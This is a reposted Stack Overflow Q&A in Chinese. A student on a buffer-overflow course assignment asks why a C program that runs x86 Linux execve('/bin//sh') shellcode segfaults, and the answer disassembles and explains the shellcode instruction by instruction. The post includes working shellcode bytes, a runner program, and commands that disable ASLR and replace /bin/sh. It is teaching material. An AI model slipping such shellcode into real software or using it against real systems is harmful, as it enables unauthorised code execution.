gpt4 book ai didi

assembly - 使用内联汇编启动 shell

转载 作者:行者123 更新时间:2023-12-01 07:41:20 25 4
gpt4 key购买 nike

我正在完成一项学校作业,我完全被难住了。教授和助教没有任何帮助,因为他们提供给任何学生的每一个答案都是“继续寻找,答案就在那里”的某种变体。我正在尝试使用以下代码创建一个外壳:

#include <stdio.h>
#include <stdlib.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int main(int argc, char **argv)
{
printf("running...\n");

char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

我试图替换 code[]与在线找到的其他一些示例(包括此站点)以及教授提供的其他 pdf 中的示例。这些都没有用。我使用gdb反汇编并尝试构建自己的 code[]这也失败了。对于它的值(value),我可以说,在普通用户中,我的应用程序在 ((void(*)( ))buf)( ); 上出现段错误。行,然后在同一行的 root 用户中退出(没有段错误通知)。

我不知道在哪里可以完成这项任务,并且在我理解这个简单的第一步之前,我无法处理任何以后的缓冲区溢出任务。任何帮助将不胜感激。

编辑:我忘了提,我在 OSX 10.8.2 和通过 VirtualBox 的 Ubuntu VM 上都试过这个。我假设它在 OSX 上不起作用,但我很绝望。 ha 对于 Ubuntu,我们被要求做:

sudo #sysctl -w kernel.randomize_va_space=0

sudo apt-get install zsh
光盘/bin
sudo rm sh
须藤 ln -s/bin/zsh/bin/sh

这些命令应该禁用地址空间随机化,安装 zsh 并将其链接到/bin/sh。我在虚拟机中完成了所有这些任务,没有任何错误

最佳答案

你的代码反汇编成这样的:

00000000  31C0              xor eax,eax
00000002 50 push eax
00000003 682F2F7368 push dword 0x68732f2f
00000008 682F62696E push dword 0x6e69622f
0000000D 89E3 mov ebx,esp
0000000F 50 push eax
00000010 53 push ebx
00000011 89E1 mov ecx,esp
00000013 99 cdq
00000014 B00B mov al,0xb
00000016 CD80 int 0x80

礼貌 ndisasm .让我们一步一步地看一遍这些指令,并在途中分析堆栈帧。
xor eax,eaxeax 归零寄存器,因为操作数与自身的 XOR 操作将始终产生零作为结果。 push eax然后将值压入堆栈。因此,堆栈当前看起来或多或少像这样(相对于代码开头的 esp 的值显示的偏移量, esp 表示 esp 当前指向的堆栈单元):
       +----------+
0 | 00000000 |
esp -4 | xxxxxxxx |
+----------+

接下来,我们有两个 push dword指令,将一些立即值推送到堆栈,在执行它们之后,它看起来像这样:
       +----------+
0 | 00000000 |
-4 | 68732f2f |
-8 | 6e69622f |
esp -12| xxxxxxxx |
+----------+
esp当前指向被压入堆栈的第二个立即数的最后一个字节。让我们尝试将推送的值解释为 ASCII,如果我们从 esp 的当前值开始,则按照从堆栈中读取它们的顺序。 .我们得到 2f62696e2f2f7368的字节序列,在 ASCII 中等于 /bin//sh .另外,该序列以 0 结尾,因此它是一个有效的 C 字符串。

这是 esp 的当前值的主要原因。存入寄存器 ebx .它包含将要运行的可执行文件的路径。双斜杠对操作系统来说不是问题,因为 POSIX 只是忽略了多次出现的斜杠并将它们视为一个斜杠。

接下来,我们有 eax 的当前值和 ebx插入堆栈。我们知道 eax包含零,并且 ebx包含指向 C 字符串 "/bin//sh" 的指针.堆栈当前看起来像这样:
           +----------+
0 | 00000000 |
-4 | 68732f2f |
-8 | 6e69622f |
ebx -12| 00000000 |
-16| (ebxVal) |
ecx esp -20| xxxxxxxx |
+----------+

将寄存器的值压入堆栈后,指向 esp 的当前指针保存在 ecx .
cdq是在这种情况下执行一个非常巧妙的技巧的指令:它对 eax 的当前值进行符号扩展。进入 edx:eax注册对。因此,在这种情况下,它会将 edx 中的值清零。 ,因为零的符号扩展为零。当然,我们可以清除 edx 中的值。与 xor edx, edx ,但该指令用两个字节编码 - 和 cdq只占用一个。

下一条指令将值 0xb (11)入 eax的低字节寄存器.与前一种情况类似,我们可以只做 mov eax, 0xb ,但这将导致 5 字节指令,因为立即数必须编码为完整的 32 位值。
int 0x80在 Linux 上调用系统调用调用程序。它期望 eax 中的系统调用数(现在等于 0xb ,因此将调用 sys_execve 函数),以及 ebx 中的附加参数, ecx , edx , esi , edi , 和 ebp .

现在,让我们看一下该系统调用的原型(prototype):
int execve(const char *filename, char *const argv[], char *const envp[]);

因此, filename参数放在 ebx - 它指向 /bin//sh . argv , 放在 ecx , 是要执行的可执行文件的参数数组,必须以 NULL 结束。值(value)。在英特尔架构上, NULL等于 0 , 和 ecx指向这一点:指向 /bin//sh 的指针,然后是 NULL值(value)。 envp ,即 NULL , 指向环境值数组,必须表示为 char* key=value 形式的值.
execve成功执行导致当前进程镜像替换为指向的可执行文件的镜像,并使用提供的参数执行。在这种情况下, /bin/sh将使用 /bin//sh 的参数执行(如果存在) .

Michael 对于为什么这不起作用可能是正确的:最近的 Linux 内核将数据页标记为不可执行,并且尝试执行它们将导致段错误。

关于assembly - 使用内联汇编启动 shell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/14827894/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com